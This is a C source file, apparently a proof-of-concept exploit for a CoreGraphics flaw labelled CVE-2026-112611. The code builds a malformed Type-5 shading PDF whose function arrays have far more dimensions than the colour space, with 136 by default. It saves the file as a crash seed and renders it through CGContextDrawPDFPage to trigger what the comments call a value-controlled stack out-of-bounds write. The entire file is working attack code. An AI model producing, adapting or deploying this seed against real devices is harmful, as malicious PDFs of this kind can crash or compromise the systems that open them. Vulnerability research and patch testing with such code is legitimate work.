// cg.shading · CoreGraphics · _cg_shading_type5_draw · CVE-2026-112611 // Type-5 shading stack overflow (value-controlled OOB write) // C twin of the Swift POC: builds the same seed PDF and renders it through CGPDFDocument. // Build: clang -O2 -o cve-2026-112611 CVE-2026-112611.c -framework CoreGraphics -framework CoreFoundation // Run: ./cve-2026-112611 [range-dim] #include #include #include // ── byte buffer ── typedef struct { uint8_t *d; size_t n, cap; } buf; static void bneed(buf *b, size_t extra) { if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } } static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } // ── bit writer (MSB-first) ── typedef struct { buf out; uint8_t acc; int nbits; } bitwriter; static void bw_put(bitwriter *w, uint32_t value, int width) { if (width <= 0) return; for (int i = width - 1; i >= 0; i--) { w->acc = (uint8_t)((w->acc << 1) | ((value >> i) & 1)); if (++w->nbits == 8) { bput(&w->out, w->acc); w->acc = 0; w->nbits = 0; } } } static void bw_flush(bitwriter *w) { if (w->nbits > 0) { bput(&w->out, (uint8_t)(w->acc << (8 - w->nbits))); w->acc = 0; w->nbits = 0; } } // ── PDF object builder ── #define MAXOBJ 16 typedef struct { int n[MAXOBJ]; char dict[MAXOBJ][512]; buf stream[MAXOBJ]; int has_stream[MAXOBJ]; int count; } pdfbuilder; static void pdf_add(pdfbuilder *p, int n, const char *dict, const uint8_t *stream, size_t streamlen) { if (p->count >= MAXOBJ || n >= MAXOBJ) return; p->n[p->count] = n; snprintf(p->dict[p->count], sizeof(p->dict[p->count]), "%s", dict); if (stream) { bcat(&p->stream[p->count], stream, streamlen); p->has_stream[p->count] = 1; } p->count++; } static buf pdf_data(pdfbuilder *p) { buf out = {0}; bcat(&out, "%PDF-1.7\n%\xe2\xe3\xcf\xd3\n", 14); int offsets[MAXOBJ] = {0}; int maxobj = 0; for (int i = 0; i < p->count; i++) { if (p->n[i] > maxobj) maxobj = p->n[i]; } // emit in ascending object order for (int target = 1; target <= maxobj; target++) { for (int i = 0; i < p->count; i++) { if (p->n[i] != target) continue; offsets[target] = (int)out.n; char line[64]; snprintf(line, sizeof(line), "%d 0 obj\n", target); bcat(&out, line, strlen(line)); bcat(&out, p->dict[i], strlen(p->dict[i])); if (p->has_stream[i]) { bcat(&out, "\nstream\n", 8); bcat(&out, p->stream[i].d, p->stream[i].n); bcat(&out, "\nendstream", 10); } bcat(&out, "\nendobj\n", 8); } } size_t xrefpos = out.n; char line[128]; snprintf(line, sizeof(line), "xref\n0 %d\n0000000000 65535 f \n", maxobj + 1); bcat(&out, line, strlen(line)); for (int t = 1; t <= (maxobj > 0 ? maxobj : 1); t++) { snprintf(line, sizeof(line), "%010d 00000 n \n", offsets[t]); bcat(&out, line, strlen(line)); } snprintf(line, sizeof(line), "trailer\n<< /Size %d /Root 1 0 R >>\nstartxref\n%zu\n%%%%EOF\n", maxobj + 1, xrefpos); bcat(&out, line, strlen(line)); return out; } // ── seed construction (from Cinder27 Sources: PDFPayload.shading) ── static buf pdf_shading(int rangedim, double value, int vertices_per_row, int rows) { const int bp_coord = 32, bp_comp = 8; bitwriter bw = {0}; for (int r = 0; r < rows; r++) { for (int c = 0; c < vertices_per_row; c++) { bw_put(&bw, 0x10000000u + (uint32_t)c * 0x08000000u, bp_coord); bw_put(&bw, 0x10000000u + (uint32_t)r * 0x08000000u, bp_coord); bw_put(&bw, 0, bp_comp); } } bw_flush(&bw); char cval[32]; snprintf(cval, sizeof(cval), "%.17g", value); char list[4096] = "", rangelist[4096] = ""; int nd = rangedim > 0 ? rangedim : 1; for (int i = 0; i < nd; i++) { if (i) { strcat(list, " "); strcat(rangelist, " "); } strcat(list, cval); strcat(rangelist, "0 1"); } char dict5[512], dict6[2048]; snprintf(dict5, sizeof(dict5), "<< /ShadingType 5 /ColorSpace /DeviceGray /BitsPerCoordinate %d /BitsPerComponent %d " "/VerticesPerRow %d /Decode [0 200 0 200 0 1] /Function 6 0 R /Length %zu >>", bp_coord, bp_comp, vertices_per_row, bw.out.n); snprintf(dict6, sizeof(dict6), "<< /FunctionType 2 /Domain [0 1] /N 1 /C0 [%s] /C1 [%s] /Range [%s] >>", list, list, rangelist); pdfbuilder p = {0}; pdf_add(&p, 1, "<< /Type /Catalog /Pages 2 0 R >>", NULL, 0); pdf_add(&p, 2, "<< /Type /Pages /Kids [3 0 R] /Count 1 >>", NULL, 0); pdf_add(&p, 3, "<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Resources << /Shading << /Sh1 5 0 R >> >> /Contents 4 0 R >>", NULL, 0); pdf_add(&p, 4, "<< /Length 8 >>", (const uint8_t *)" /Sh1 sh", 8); pdf_add(&p, 5, dict5, bw.out.d, bw.out.n); pdf_add(&p, 6, dict6, NULL, 0); bfree(&bw.out); return pdf_data(&p); } // ── trigger: render the PDF through CoreGraphics ── #include #include static int render_pdf(const buf *pdf, const char **detail) { CFDataRef cf = CFDataCreate(NULL, pdf->d, (CFIndex)pdf->n); if (!cf) { *detail = "CFDataCreate failed"; return -1; } CGDataProviderRef prov = CGDataProviderCreateWithCFData(cf); CFRelease(cf); if (!prov) { *detail = "CGDataProviderCreateWithCFData failed"; return -1; } CGPDFDocumentRef doc = CGPDFDocumentCreateWithProvider(prov); CGDataProviderRelease(prov); if (!doc) { *detail = "CGPDFDocumentCreateWithProvider failed (file refused)"; return -1; } CGPDFPageRef page = CGPDFDocumentGetPage(doc, 1); if (!page) { *detail = "no page 1"; CGPDFDocumentRelease(doc); return -1; } const int pixels = 256, bpr = pixels * 4; uint8_t *buffer = calloc((size_t)bpr * pixels, 1); CGContextRef ctx = CGBitmapContextCreate(buffer, pixels, pixels, 8, bpr, CGColorSpaceCreateDeviceRGB(), kCGImageAlphaPremultipliedLast); if (!ctx) { free(buffer); *detail = "CGBitmapContextCreate failed"; CGPDFDocumentRelease(doc); return -1; } CGContextSetRGBFillColor(ctx, 1, 1, 1, 1); CGContextFillRect(ctx, CGRectMake(0, 0, pixels, pixels)); // === trigger === CGContextDrawPDFPage(ctx, page); static char result[128]; int mid = bpr * (pixels / 2) + (pixels / 2) * 4; snprintf(result, sizeof(result), "render complete; centre pixel RGBA = %u,%u,%u,%u", buffer[mid], buffer[mid + 1], buffer[mid + 2], buffer[mid + 3]); *detail = result; CGContextRelease(ctx); free(buffer); CGPDFDocumentRelease(doc); return 0; } int main(int argc, char **argv) { int rangedim = argc > 1 ? atoi(argv[1]) : 136; buf pdf = pdf_shading(rangedim, 1.0, 2, 2); char name[64]; snprintf(name, sizeof(name), "crash_shading_r%d.pdf", rangedim); FILE *f = fopen(name, "wb"); if (f) { fwrite(pdf.d, 1, pdf.n, f); fclose(f); } const char *detail = NULL; int rc = render_pdf(&pdf, &detail); printf("CVE-2026-112611 · R=%d vs nc=1 · %s\n", rangedim, detail ? detail : "?"); printf("seed: %s (%zu B) · exit code %d\n", name, pdf.n, rc); bfree(&pdf); return rc == 0 ? 0 : 1; }